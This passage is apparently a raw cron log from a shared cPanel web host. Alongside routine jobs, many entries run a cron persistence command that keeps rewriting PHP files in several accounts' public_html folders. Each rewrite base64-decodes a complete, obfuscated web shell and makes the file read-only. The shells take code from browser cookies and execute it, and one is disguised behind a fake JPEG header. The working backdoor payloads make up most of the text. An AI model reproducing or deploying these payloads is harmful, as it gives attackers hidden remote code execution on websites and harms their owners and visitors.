ICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:12:01 medusa CROND[22473]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:12:01 medusa CROND[22474]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:12:01 medusa CROND[22477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:12:01 medusa CROND[22478]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:12:01 medusa CROND[22480]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:12:01 medusa CROND[22481]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:12:01 medusa CROND[22479]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:12:01 medusa CROND[22483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:12:01 medusa CROND[22484]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:12:01 medusa CROND[22482]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:12:01 medusa CROND[22486]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:12:01 medusa CROND[22491]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:12:01 medusa CROND[22506]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:13:01 medusa CROND[14676]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:13:01 medusa CROND[14678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:13:01 medusa CROND[14679]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:13:02 medusa CROND[14682]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:13:02 medusa CROND[14684]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:13:02 medusa CROND[14686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:13:02 medusa CROND[14687]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:13:02 medusa CROND[14689]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:13:02 medusa CROND[14690]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 13:13:02 medusa CROND[14692]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:13:02 medusa CROND[14695]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:13:02 medusa CROND[14698]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:13:02 medusa CROND[14699]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:13:02 medusa CROND[14702]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:14:01 medusa CROND[6774]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:14:01 medusa CROND[6776]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:14:01 medusa CROND[6777]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:14:01 medusa CROND[6778]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:14:01 medusa CROND[6775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:14:01 medusa CROND[6780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:14:01 medusa CROND[6779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:14:01 medusa CROND[6783]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJ